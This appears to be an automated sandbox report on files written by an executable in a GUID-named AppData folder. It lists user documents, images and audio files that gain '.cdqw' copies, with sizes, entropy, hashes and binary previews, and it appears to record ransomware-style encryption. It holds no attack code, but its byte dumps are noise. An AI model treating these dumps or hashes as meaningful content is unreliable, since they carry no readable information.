Preview:	ONBQC.oDW.lz.I'3.P..v;/....C..wx._.......J..!......=`b.i...z.".\|U...~..L....y..Np.6..$:.bQ+...6B.V.....1.=.3Tf.e-<..v..K...b"7..Q...L..d..{P..'g.S.......32;...L.H.X..1.......6....}R...{5..a).......<...d..`......v....:..uQ.U5..o........0%.......S.{.G...hfMc.D~............/..[.lDI.../.......sW.p..>9&...H.7!U.T.i9::x..OI..Rk.....B..F\|z.".<..]..E.H..fw..n.....O..OX...$.5.O.JY>..F.%'...r......'9j.t..s;,.9...Rd........4.. ..r\|[:.....0.....P.=RV.+.U..0\9$.2s..3s.....Tm........&.......M).....-..0..%.B./.....i.k...j...q\|a.............p.....a.z...P...,..'.1.l.m..&G..T.._yC....;.;<.....Y...CI.....,M...A.I...K..Y]..JHhy.._.w......V...VI..v.\|...>..C`.(z~...O..z..F..Xq`..,IT.'..X.\..S....l.}Q.&1..`v..5..;.m....c.8.u<..F@.@.D...=...]..bO.,O......:E..7..r...<.....^/.....i.y.......W....7.5.g....<...c5.....h........Z.;..9y..^.H...jI.t.G.0..S.$..Jg....p{..q?..3>..r../...<..?gY%....,.^t.*..u.:Q.a.w&.Q..Q.B.H..\Z.%...i8s...7...\|'H....F

C:\Users\user\Desktop\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836631378643178
Encrypted:	false
SSDEEP:	24:iggpgvpMnvDgqBDgYz8PNZrSQFTdVNNEk81Z0TPQfQou5k4B6rE6AO/cZ52bD:nvpMh1TOVSQTXNNEk81WTPQwurXAOUZ6
MD5:	26CD85837FD594373B63F9B511BC5DF8
SHA1:	502BB41105D84C29F19AFFA6296FD08CAA677E1C
SHA-256:	A5C3B3F5EE51FD99EF46BE7AD6511275EE55CA71AE4EB448E268DF24BD4E9AC2
SHA-512:	8A8430DE623D8B7717D97CC18130C63BCBCDE8D23C1ECC251FFB2448F91A34546F1B3639C5D622EDEEFF5A7AA6142B8260CC079710659377D388416C18B9AEED
Malicious:	false
Preview:	UMMBD.S.%u.l.#.q.y.P..Ff"9WT.0NJ.Q.=P..0......Z...........I..M....MK.,f=.C..!..#>.ok=.........f.^......@.I.kt/.....V..}.w%..I...o@..............:..gd..a.g..y.LP.-E...Vq....h.j..B8h..@....wH...c(.a....V....8..=.<w.q......e#.L/..^.7%.H...6..C..[....#...3.\.....k.h..X$.@.....{....T....i..._......V..ag.@>.iN.....r...&.}.\..^.e....;T....f..u.W4T...>....W.L.\(.F..>-(.....C..].g..X,.c.J.G......P-.....M:5....{.T.....\.Xx....d...TD...d.E'...t..o...-Y..pj.\|T..@..#N.,.1._..$po......G...U._NH.H.ZP.pB..7&a..Q..^..y.OC h..q..........I........T9o.F .a.i.3GRE...)}\.....F..@.'....H$..S..W.....b..[.j.Nw3>.y.7.3..3,...x..VC...I..P../.....+ V.....Qn......Y..l-(....Eo$r.x^.......s.x.w..h..J.g.=%T.gq...L4c..o.C.bV.y'. ..wR..D..\|j g,...{#M.pf.g........Y;Q.[...mK.+K(.......:..m.....5..&.w).d.5I..`,-....(h...ul5...x..:.g.M!.Z..._.3+o...@.].%....5......wfYp..+..FiE...@.B[.9...S...(m..'..)1.&2.p.8P4n1.lD.%..zZ.;..t..EUH.g0.\$..4....9.OkfB.5+.77E......\.]X....3~.l..N

C:\Users\user\Desktop\UMMBDNEQBN.docx.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836631378643178
Encrypted:	false
SSDEEP:	24:iggpgvpMnvDgqBDgYz8PNZrSQFTdVNNEk81Z0TPQfQou5k4B6rE6AO/cZ52bD:nvpMh1TOVSQTXNNEk81WTPQwurXAOUZ6
MD5:	26CD85837FD594373B63F9B511BC5DF8
SHA1:	502BB41105D84C29F19AFFA6296FD08CAA677E1C
SHA-256:	A5C3B3F5EE51FD99EF46BE7AD6511275EE55CA71AE4EB448E268DF24BD4E9AC2
SHA-512:	8A8430DE623D8B7717D97CC18130C63BCBCDE8D23C1ECC251FFB2448F91A34546F1B3639C5D622EDEEFF5A7AA6142B8260CC079710659377D388416C18B9AEED
Malicious:	false
Preview:	UMMBD.S.%u.l.#.q.y.P..Ff"9WT.0NJ.Q.=P..0......Z...........I..M....MK.,f=.C..!..#>.ok=.........f.^......@.I.kt/.....V..}.w%..I...o@..............:..gd..a.g..y.LP.-E...Vq....h.j..B8h..@....wH...c(.a....V....8..=.<w.q......e#.L/..^.7%.H...6..C..[....#...3.\.....k.h..X$.@.....{....T....i..._......V..ag.@>.iN.....r...&.}.\..^.e....;T....f..u.W4T...>....W.L.\(.F..>-(.....C..].g..X,.c.J.G......P-.....M:5....{.T.....\.Xx....d...TD...d.E'...t..o...-Y..pj.\|T..@..#N.,.1._..$po......G...U._NH.H.ZP.pB..7&a..Q..^..y.OC h..q..........I........T9o.F .a.i.3GRE...)}\.....F..@.'....H$..S..W.....b..[.j.Nw3>.y.7.3..3,...x..VC...I..P../.....+ V.....Qn......Y..l-(....Eo$r.x^.......s.x.w..h..J.g.=%T.gq...L4c..o.C.bV.y'. ..wR..D..\|j g,...{#M.pf.g........Y;Q.[...mK.+K(.......:..m.....5..&.w).d.5I..`,-....(h...ul5...x..:.g.M!.Z..._.3+o...@.].%....5......wfYp..+..FiE...@.B[.9...S...(m..'..)1.&2.p.8P4n1.lD.%..zZ.;..t..EUH.g0.\$..4....9.OkfB.5+.77E......\.]X....3~.l..N

C:\Users\user\Desktop\UMMBDNEQBN\JSDNGYCOWY.jpg

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834259231461266
Encrypted:	false
SSDEEP:	24:IetYrH0QZE4k33zhmRzsZ/AxVdahOyufYKs/gY57HiRyVbYbas7XbdD2bD:/f9BQRz4YxV8hNufXs/gkCRy2ba0SD
MD5:	E0C64B94F6ED7CE3F373F460FE7FAC7D
SHA1:	15E1E2472769DA905BE3143E9332939221DED276
SHA-256:	28E4DF988BB68BD0CFE786AFB89E2EF6A8D02C97FA901A9AFFE338C915099BB4
SHA-512:	06F11706A54F831DA163C3899BE97A446D8594D82C4592CC0209BBD948399F3879ABF419A170C84DB202CF2A16792D375C0062418007542DD6E64B0A97966746
Malicious:	false
Preview:	JSDNG..KUl7>...~.S..N..:.k......w.d..h....2...-e.P.P.s.)2..`..V....EH..]......8".%Q%.y...C..z...w..=..t.2.."D.b3....~.N....d...=...rQ.Ei{f.}..(..X,..n.:.I..........p....].....+..!.........?g.].[.Ct.R.o>......C..bv.-&.1z.U........C...=.M~.......r...S.j@.7....+.....w.U6.k2.\|.O.......hV^:....(......\......@..\|uK.N..o...p..R@'....v.i.T.>2. .o$..L..D..lG..0D.u..(..N.q.k..oOy.~.-..1...iV....U...g..1.f......]x.y...u5W......t!.\|\|.......X}y.j.>...v...]......WtMV.7s..-i......./<.Al.-j\|...X...g.Y3.j....Y...=...Z...g;...!...8...~.z......]j.>}.>..^.+......3...y[.1.:P.K.S.-....~...`...LC.+..[..,...4....\..W....Q^.6#P.i.Jz0..IWs.. .0.._'...:.s..i....-..\....&..y.nr!9m.u4....Kt'...O_...u..\.h..k..k.;.&......0..17........V.q1i`.6..1../Uj#n......$e..<.....L....!^v!^.GU"s9?..d..Ovkk.;..K.=T....t.n.:.mGj&.w.....l.&..r......V%..hu.A...*P.j3.9.4....3mp..m.P%?..j..j?.>....t.o......c....T.....\9..kq..d..v.........[.........U. ..t AH..~...S.-...KR..e3.B..h..7Io1[.

C:\Users\user\Desktop\UMMBDNEQBN\JSDNGYCOWY.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834259231461266
Encrypted:	false
SSDEEP:	24:IetYrH0QZE4k33zhmRzsZ/AxVdahOyufYKs/gY57HiRyVbYbas7XbdD2bD:/f9BQRz4YxV8hNufXs/gkCRy2ba0SD
MD5:	E0C64B94F6ED7CE3F373F460FE7FAC7D
SHA1:	15E1E2472769DA905BE3143E9332939221DED276
SHA-256:	28E4DF988BB68BD0CFE786AFB89E2EF6A8D02C97FA901A9AFFE338C915099BB4
SHA-512:	06F11706A54F831DA163C3899BE97A446D8594D82C4592CC0209BBD948399F3879ABF419A170C84DB202CF2A16792D375C0062418007542DD6E64B0A97966746
Malicious:	false
Preview:	JSDNG..KUl7>...~.S..N..:.k......w.d..h....2...-e.P.P.s.)2..`..V....EH..]......8".%Q%.y...C..z...w..=..t.2.."D.b3....~.N....d...=...rQ.Ei{f.}..(..X,..n.:.I..........p....].....+..!.........?g.].[.Ct.R.o>......C..bv.-&.1z.U........C...=.M~.......r...S.j@.7....+.....w.U6.k2.\|.O.......hV^:....(......\......@..\|uK.N..o...p..R@'....v.i.T.>2. .o$..L..D..lG..0D.u..(..N.q.k..oOy.~.-..1...iV....U...g..1.f......]x.y...u5W......t!.\|\|.......X}y.j.>...v...]......WtMV.7s..-i......./<.Al.-j\|...X...g.Y3.j....Y...=...Z...g;...!...8...~.z......]j.>}.>..^.+......3...y[.1.:P.K.S.-....~...`...LC.+..[..,...4....\..W....Q^.6#P.i.Jz0..IWs.. .0.._'...:.s..i....-..\....&..y.nr!9m.u4....Kt'...O_...u..\.h..k..k.;.&......0..17........V.q1i`.6..1../Uj#n......$e..<.....L....!^v!^.GU"s9?..d..Ovkk.;..K.=T....t.n.:.mGj&.w.....l.&..r......V%..hu.A...*P.j3.9.4....3mp..m.P%?..j..j?.>....t.o......c....T.....\9..kq..d..v.........[.........U. ..t AH..~...S.-...KR..e3.B..h..7Io1[.

C:\Users\user\Desktop\UMMBDNEQBN\WUTJSCBCFX.pdf

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862381809198125
Encrypted:	false
SSDEEP:	24:9bOQeev4HavHHVTbHRdBddhOpyv7OtrynrOTI08UPgkPkV4il0NE7ZQjw2fX2bD:lLdvTRBdBv70y4InkgSkRmXcD
MD5:	39A21DCC3259A80D53B9759361D10EC5
SHA1:	D2BCDE5C80AEFFC926DD64DD2336F22232E5A25C
SHA-256:	BF9A3FE371F7692B84C04E707CA342AE81D5A2FA758DE6C80F7938E837330694
SHA-512:	5ED3B06E0030EBC21D91451780D4B0D8D6248BA235627BFBA4168F209888CBF0E1F8F7F3C62C19FF479F4765A435252F60806C03F4746467C04C7FC3BDD7DAC7
Malicious:	false
Preview:	WUTJSY...L.'XPwX.^...\|i./.2P....c...~~ak/..j..x...Cb.bpB..5;........?....0v.?.i....,..N.!.`../..uR.c.f785K.t..u..jy5.2.....V.#........8Q.}...'W&.....b.....72)....+.nh.m...M.5.$.A.F.z......8.U.".}o.."".]....hlr...("nw=.._-#.~{J.g.G....!.B.6Gj.. .x]..t..f....v.n>,Uk.....Y.....L..N...^..e...o....4+o.......M.e..O'F....-..a..\.Va.w..h.9..............vZ(.1.P..P....!U...ck3...j.5........!..7.u....^....X.....8...h....Q.}.Z%.um..9.;.IK......Un.......J6.:......O...8....,./q.s.@......1C..5x...n..!>w.r.tT.rhZ/.\. .\|p8..}%L.. H..K'i.f...n ..t..MmY.....U6......A...\|..0;..EB.O.U.pB3.G./..n...PV{?.....+'f.W.@. ..u.../1)...3..0..-.RM.....=...\|TDb..\'..eESP....wI.[.$D`...w....L.....X...U.......&..O.dE..#..........TB.<...&.\5...S.%. .3h..>.}.;,hmdgIN.h.J.!DPm..>P.=..,.>.cP .V...-......Fc.`.pd..Y.?@..kQ~..1v.C'.....M...~.$.?...iux.h{{...6[.}..]N.b.B.JL..?.WG..T......?.......8..SyE.]........L<..T.1...]..`....\|.O.\|-...4B...1...j.F...<nX..x....S.j

C:\Users\user\Desktop\UMMBDNEQBN\WUTJSCBCFX.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862381809198125
Encrypted:	false
SSDEEP:	24:9bOQeev4HavHHVTbHRdBddhOpyv7OtrynrOTI08UPgkPkV4il0NE7ZQjw2fX2bD:lLdvTRBdBv70y4InkgSkRmXcD
MD5:	39A21DCC3259A80D53B9759361D10EC5
SHA1:	D2BCDE5C80AEFFC926DD64DD2336F22232E5A25C
SHA-256:	BF9A3FE371F7692B84C04E707CA342AE81D5A2FA758DE6C80F7938E837330694
SHA-512:	5ED3B06E0030EBC21D91451780D4B0D8D6248BA235627BFBA4168F209888CBF0E1F8F7F3C62C19FF479F4765A435252F60806C03F4746467C04C7FC3BDD7DAC7
Malicious:	false
Preview:	WUTJSY...L.'XPwX.^...\|i./.2P....c...~~ak/..j..x...Cb.bpB..5;........?....0v.?.i....,..N.!.`../..uR.c.f785K.t..u..jy5.2.....V.#........8Q.}...'W&.....b.....72)....+.nh.m...M.5.$.A.F.z......8.U.".}o.."".]....hlr...("nw=.._-#.~{J.g.G....!.B.6Gj.. .x]..t..f....v.n>,Uk.....Y.....L..N...^..e...o....4+o.......M.e..O'F....-..a..\.Va.w..h.9..............vZ(.1.P..P....!U...ck3...j.5........!..7.u....^....X.....8...h....Q.}.Z%.um..9.;.IK......Un.......J6.:......O...8....,./q.s.@......1C..5x...n..!>w.r.tT.rhZ/.\. .\|p8..}%L.. H..K'i.f...n ..t..MmY.....U6......A...\|..0;..EB.O.U.pB3.G./..n...PV{?.....+'f.W.@. ..u.../1)...3..0..-.RM.....=...\|TDb..\'..eESP....wI.[.$D`...w....L.....X...U.......&..O.dE..#..........TB.<...&.\5...S.%. .3h..>.}.;,hmdgIN.h.J.!DPm..>P.=..,.>.cP .V...-......Fc.`.pd..Y.?@..kQ~..1v.C'.....M...~.$.?...iux.h{{...6[.}..]N.b.B.JL..?.WG..T......?.......8..SyE.]........L<..T.1...]..`....\|.O.\|-...4B...1...j.F...<nX..x....S.j

C:\Users\user\Desktop\VLZDGUKUTZ\JSDNGYCOWY.mp3

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836997791514503
Encrypted:	false
SSDEEP:	24:8JhXUaNJ7C+6/9gWBwShmwLqQDy9IjEjmPdzwzQX1SFl1Q72bD:KVdg9gWiSshmiIjLdzwzQX1M6oD
MD5:	CF7499C7A0035ACAD75A6D1693278125
SHA1:	74B58FB914CE6AD16CFBA05B10D7010B12C69F31
SHA-256:	D63CE45990B803D5346F201FEFCC513106D3EE8321A1E0E29153D8C99131973E
SHA-512:	1D8F5D73E8FBE2186C04A97CBF0AF5524A3B6F18D9473366E53CDBBDB1F1EF6DA4DE244AE875F3EAE633AD4C830B6E0A232E48B035D8EACA7DE7940E023B7C6D
Malicious:	false
Preview:	JSDNGn.v-.n..Q.:lFB...W.3,.j....#l........l.......W.....KF.h....(....iy.(..^\T..^.-....z$.......28....e...J{/.^...[5...]`+..m"H...f.....]....-....Z..C..U:...C%v."P....u....Q.G.....f.U/A..Rs.~m.#z..T#Q.t q..\|...,.B...7.`..&.$}EO.<Q..a...qR.L#....6UN.8:f....j.B(s......z......xB.5uV.......h.g"...0~\|......f2ny..3]..V...)N...V..&.e....~....h4Y.Z...a?.~...Fun?.....z...~=1.0.%.......B-x...`.`P9W..X...x..@\Z...y.c.E9.Q.."a.../..AMKFR.-..eU1..."......+..g.G.&.50/.X. y3WK.h.@......\,..3~.k...... FlQ`..^.\...E...0{. ..}....^....Bz.Qz..].,..QV...^...o......a.z../.k.DGO_5[.m.5...b...^....../P..3.d.v$Z.Z.:E)..dM.-H..x.d.....+..2.......6..R.i<...+.,&.Td..w..%..;.b...<"S.q"..%FKpr...9......5..1....\..&#..b.....9...F....n..^.u..E..h=.Xy..h#Z.....DH....{..a.N.]....@.<f...h...X.,j^.{.!...?.DX...LMl.....A..J-G.&X........#.T.......)Q.v..#.>.RN..fb<2.}].j/`..K..5.../...f.......y.c.).s.e=U=R.o.9.J..>ca%.s.....9...hqx....yB.h...x._/.....r...p.Z+t.9}..iI<..W......:

C:\Users\user\Desktop\VLZDGUKUTZ\JSDNGYCOWY.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836997791514503
Encrypted:	false
SSDEEP:	24:8JhXUaNJ7C+6/9gWBwShmwLqQDy9IjEjmPdzwzQX1SFl1Q72bD:KVdg9gWiSshmiIjLdzwzQX1M6oD
MD5:	CF7499C7A0035ACAD75A6D1693278125
SHA1:	74B58FB914CE6AD16CFBA05B10D7010B12C69F31
SHA-256:	D63CE45990B803D5346F201FEFCC513106D3EE8321A1E0E29153D8C99131973E
SHA-512:	1D8F5D73E8FBE2186C04A97CBF0AF5524A3B6F18D9473366E53CDBBDB1F1EF6DA4DE244AE875F3EAE633AD4C830B6E0A232E48B035D8EACA7DE7940E023B7C6D
Malicious:	false
Preview:	JSDNGn.v-.n..Q.:lFB...W.3,.j....#l........l.......W.....KF.h....(....iy.(..^\T..^.-....z$.......28....e...J{/.^...[5...]`+..m"H...f.....]....-....Z..C..U:...C%v."P....u....Q.G.....f.U/A..Rs.~m.#z..T#Q.t q..\|...,.B...7.`..&.$}EO.<Q..a...qR.L#....6UN.8:f....j.B(s......z......xB.5uV.......h.g"...0~\|......f2ny..3]..V...)N...V..&.e....~....h4Y.Z...a?.~...Fun?.....z...~=1.0.%.......B-x...`.`P9W..X...x..@\Z...y.c.E9.Q.."a.../..AMKFR.-..eU1..."......+..g.G.&.50/.X. y3WK.h.@......\,..3~.k...... FlQ`..^.\...E...0{. ..}....^....Bz.Qz..].,..QV...^...o......a.z../.k.DGO_5[.m.5...b...^....../P..3.d.v$Z.Z.:E)..dM.-H..x.d.....+..2.......6..R.i<...+.,&.Td..w..%..;.b...<"S.q"..%FKpr...9......5..1....\..&#..b.....9...F....n..^.u..E..h=.Xy..h#Z.....DH....{..a.N.]....@.<f...h...X.,j^.{.!...?.DX...LMl.....A..J-G.&X........#.T.......)Q.v..#.>.RN..fb<2.}].j/`..K..5.../...f.......y.c.).s.e=U=R.o.9.J..>ca%.s.....9...hqx....yB.h...x._/.....r...p.Z+t.9}..iI<..W......:

C:\Users\user\Desktop\VLZDGUKUTZ\NWTVCDUMOB.jpg

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842734005662296
Encrypted:	false
SSDEEP:	24:IdMdUgIn34hvGIlCZdKvga7mS7PypZcw/Z6DB1ybIDJhlmqnA4QFUp01I2bD:gM9In34huivgypycBDB1ybIDJhlmqA4G
MD5:	9BB6816A5314F423A8B6F37769D4CEFB
SHA1:	00A3DCAAAF8396960BB1ADB754BA0DA2BB690FE7
SHA-256:	73FE2D5EEBAB7D53A57E47B5FB6942916417BC06BF1B1A88B51CF5FE45C1305F
SHA-512:	7932A6CD2329DC3EDF4E921B567AB0194EF14FCD87B91EE5BD0CA5F151A78D66CF9524351499CE14C8AAA7875D9AD7020475A83BCDA5C3732D939345F8C22BF7
Malicious:	false
Preview:	NWTVCY.MG..S..4....-.2.s..9.-..7.UE....PN..F1`}n.....0M.%.3..#..<.t....e....g...).....<.P0...........zTl.......<'.G+.#`...Nn..UzV..+..,d...?C.R>>.B..y...m....w..C......Qp7.d..........t.P.H.I..&. .......A.y...."..P\..N..x....-G.....b..4....a..Ct!L.L....J.e..E........2....;[...?M.~.Q...?..NZ....6.....bU..).1.BR....T!8..}..3v@>N.,....~.5%M.Yf../.S...D.'....`w.........n.]0....v..d..v.R...$;...}...&do[.(.oC..._..w..c.....HTS..M.0..x[.......K..y"...f.....'.T#..........`........].?.rsU......o.'...TK.....B...}#..:B... ..R..h..>.q.....O. &.K.!q..?-...8..z...zT...Vn. K"1..GWZ.Q;.Cfm@.9..s.sG...3.6F..r..bD..df7....#.../...0..^2".r..0..w<......$c..Cl..6=...H.....3N....8....5+S...}d.b5a.....%8IG.<....L.... .".._DR..X..N.....l_..=...;L.........5.\.[U"...G...s..]}..gI...=...e[.t.Y7b.A........At...3=s...`....?..]$.WTdG..(.Hb.1....9'......4..*...J@w.).n..z.q0@.A..0..L...I^y..0.t.N..)......J...L6.AM8.....r.8V..X.."E.y.9%.j(q[...\...p.>?;..T..5wG...?

C:\Users\user\Desktop\VLZDGUKUTZ\NWTVCDUMOB.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842734005662296
Encrypted:	false
SSDEEP:	24:IdMdUgIn34hvGIlCZdKvga7mS7PypZcw/Z6DB1ybIDJhlmqnA4QFUp01I2bD:gM9In34huivgypycBDB1ybIDJhlmqA4G
MD5:	9BB6816A5314F423A8B6F37769D4CEFB
SHA1:	00A3DCAAAF8396960BB1ADB754BA0DA2BB690FE7
SHA-256:	73FE2D5EEBAB7D53A57E47B5FB6942916417BC06BF1B1A88B51CF5FE45C1305F
SHA-512:	7932A6CD2329DC3EDF4E921B567AB0194EF14FCD87B91EE5BD0CA5F151A78D66CF9524351499CE14C8AAA7875D9AD7020475A83BCDA5C3732D939345F8C22BF7
Malicious:	false
Preview:	NWTVCY.MG..S..4....-.2.s..9.-..7.UE....PN..F1`}n.....0M.%.3..#..<.t....e....g...).....<.P0...........zTl.......<'.G+.#`...Nn..UzV..+..,d...?C.R>>.B..y...m....w..C......Qp7.d..........t.P.H.I..&. .......A.y...."..P\..N..x....-G.....b..4....a..Ct!L.L....J.e..E........2....;[...?M.~.Q...?..NZ....6.....bU..).1.BR....T!8..}..3v@>N.,....~.5%M.Yf../.S...D.'....`w.........n.]0....v..d..v.R...$;...}...&do[.(.oC..._..w..c.....HTS..M.0..x[.......K..y"...f.....'.T#..........`........].?.rsU......o.'...TK.....B...}#..:B... ..R..h..>.q.....O. &.K.!q..?-...8..z...zT...Vn. K"1..GWZ.Q;.Cfm@.9..s.sG...3.6F..r..bD..df7....#.../...0..^2".r..0..w<......$c..Cl..6=...H.....3N....8....5+S...}d.b5a.....%8IG.<....L.... .".._DR..X..N.....l_..=...;L.........5.\.[U"...G...s..]}..gI...=...e[.t.Y7b.A........At...3=s...`....?..]$.WTdG..(.Hb.1....9'......4..*...J@w.).n..z.q0@.A..0..L...I^y..0.t.N..)......J...L6.AM8.....r.8V..X.."E.y.9%.j(q[...\...p.>?;..T..5wG...?

C:\Users\user\Documents\ONBQCLYSPU\DVWHKMNFNN.mp3

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85648680037818
Encrypted:	false
SSDEEP:	24:LUtPrX4W+5+gyBlir7b52IbMtDSoredWtKeMQeNB6mfmGGPvHgrx05mGJb2bD:ARrIWfgOij52fDJre6/wPm3+xumUID
MD5:	512D99495973911AD84DEF8F0711ED51
SHA1:	3C1831820204942972282E92DEEFFC8F297664B3
SHA-256:	506EA74ADAECC808CB2840FBCFBE2DD9A06DBD32BABE34BDC88632B89CC39D14
SHA-512:	8780EADB3176D4EC33DA2FDC0421A443F64AD20A01A9BED45B68B3302474DB8BE5F3944249A45FEA3CAF14973E2708B5EBD4D84A2228D7E29D49158F23CBE20E
Malicious:	false
Preview:	DVWHK.S.>.....Z..s@...}.\|.SR_......4k,.4U.D....(.2m...^mDj...R...oA...".cfOp .w.2..._..3.9...83.............F...].9..ljDD..I....5QQ.....4d..N.2ukp.4.l.S..........l..,...f.CJr.X...@..IL.G..dR.cQ...d.I..........@...q5..z...d:...&..0.:Dh.I<M..D..:q`.+..B......^(...%..I..s..n^P..7..Z...w..@.i;...n..I+.Z..k..e.ir0h..,.nJ..K. ...A....B,H..........R.-.,BT.;.a...}O.......V..".......8.\.6.......6..)$.......p......)...<.MUw.....tv....`.....V..z:I..9b.g............S...7.......D.....Xlx....1qdK.C...7......Tzy.m7..-1.N.2...j~4...4...a...j.Q...... 2C....(...B..4.5K.a..t..?.=.O..y..Z;....f.a........R...\|}.8..._.......'........Y.%k.i. .x...>....1. j..6U...Nd.)d.,I.B.zp\..M. ...{H..7U.3}.6. x$1..#.^.}-ilY.Z..-a.oWv..B...... 6+H....@..b.u.u.p.E.0.j..r.....d>.'...a..<....k:...!$....3.!.wg.............X....O...C.)..y..Cv....Uz\.Y.8w>..BU...{..........f."..P./.f.Z...s.....e.T........W...!........1E...LO..]..q...Q.z'Q...=...D..zo.z....i.qr.f......

C:\Users\user\Documents\ONBQCLYSPU\DVWHKMNFNN.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85648680037818
Encrypted:	false
SSDEEP:	24:LUtPrX4W+5+gyBlir7b52IbMtDSoredWtKeMQeNB6mfmGGPvHgrx05mGJb2bD:ARrIWfgOij52fDJre6/wPm3+xumUID
MD5:	512D99495973911AD84DEF8F0711ED51
SHA1:	3C1831820204942972282E92DEEFFC8F297664B3
SHA-256:	506EA74ADAECC808CB2840FBCFBE2DD9A06DBD32BABE34BDC88632B89CC39D14
SHA-512:	8780EADB3176D4EC33DA2FDC0421A443F64AD20A01A9BED45B68B3302474DB8BE5F3944249A45FEA3CAF14973E2708B5EBD4D84A2228D7E29D49158F23CBE20E
Malicious:	false
Preview:	DVWHK.S.>.....Z..s@...}.\|.SR_......4k,.4U.D....(.2m...^mDj...R...oA...".cfOp .w.2..._..3.9...83.............F...].9..ljDD..I....5QQ.....4d..N.2ukp.4.l.S..........l..,...f.CJr.X...@..IL.G..dR.cQ...d.I..........@...q5..z...d:...&..0.:Dh.I<M..D..:q`.+..B......^(...%..I..s..n^P..7..Z...w..@.i;...n..I+.Z..k..e.ir0h..,.nJ..K. ...A....B,H..........R.-.,BT.;.a...}O.......V..".......8.\.6.......6..)$.......p......)...<.MUw.....tv....`.....V..z:I..9b.g............S...7.......D.....Xlx....1qdK.C...7......Tzy.m7..-1.N.2...j~4...4...a...j.Q...... 2C....(...B..4.5K.a..t..?.=.O..y..Z;....f.a........R...\|}.8..._.......'........Y.%k.i. .x...>....1. j..6U...Nd.)d.,I.B.zp\..M. ...{H..7U.3}.6. x$1..#.^.}-ilY.Z..-a.oWv..B...... 6+H....@..b.u.u.p.E.0.j..r.....d>.'...a..<....k:...!$....3.!.wg.............X....O...C.)..y..Cv....Uz\.Y.8w>..BU...{..........f."..P./.f.Z...s.....e.T........W...!........1E...LO..]..q...Q.z'Q...=...D..zo.z....i.qr.f......

C:\Users\user\Documents\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866979904013383
Encrypted:	false
SSDEEP:	24:3d7yVuUQCifVGPBk8R8GEmvUB3IDFXM0gbYk5uz7LVl3ob/Ma2L+zdT2bD:A3zWs6MEmvUNQO0gbYeCozMa2L+BAD
MD5:	4AF03C071F993C12B165E8B4DAE229B7
SHA1:	8C423DE2B6AC340F82B4337C1B3F1550573DD24D
SHA-256:	52B99E592EE8F7712B6C09CBD5A3EE1ABC01785431D2AFF69DC1F9A05CB7A7A0
SHA-512:	A6D2331C9BA861BEFEF06DCD93FD3E4846B455E1C54FCDF9A6415C49FCF3928953C0F3657133CBD66247F09186B591B50B8585356EA7A43A7E930C8F843507A3
Malicious:	false
Preview:	ONBQC%x..@.Q.....(......v..C...<..Ug..2...$^...B\G>CR......7.t...`...'_....L..}.l.......J(An....R....t.]`....Z..1..q.V{`...i..OV.]..T.>..jK..2...O...)C]^..u...@...~Yu..g..5Xn....y.............u6.}\8ck.FlN0I..[Z..!4..=F.+..[......)s....@..iz..l:.8y.b.J.y..S.#6<\|....F)xg.W!..#......9....,D.il....Z....._.H...[.K......."P.p...c}.2.p.r..qTY.../@..K........8....^..y.....S......i~..........r8.........r!.MMuW.oI...CBt...H~[.....<....?.5.T..yF.\|..3.y.....6{T..6...vtvz..h...Hm.....C..mA..5...[1.0a....8.../..D..i\|.N{Z%G.I.m...)ru..C..V..N.d`v....'}.tu.e7A=.....a.q<... ....<......AA..]=u.'.F..Ly%v.l.0.?......}E.8.0.#u..?....`.r.4..\|......:"r@..$...S.f...Y]..M..}...L...C.Gw...i..t..I...O.O...<..!..~U.b..>...W.....:.....+.m.[....f.N]TU6.....j.......+^......KX&......^.............WE...h....G.......L.L._.j>..._.<.&Q...u.w T..y!.^....q8G....-B...6.D^..... .%q.N\|....5.q5.w4[_........3..i...,.M...W...."...R.G\..!.}us;....tAt."v..k1%.!.b9../.o(H...

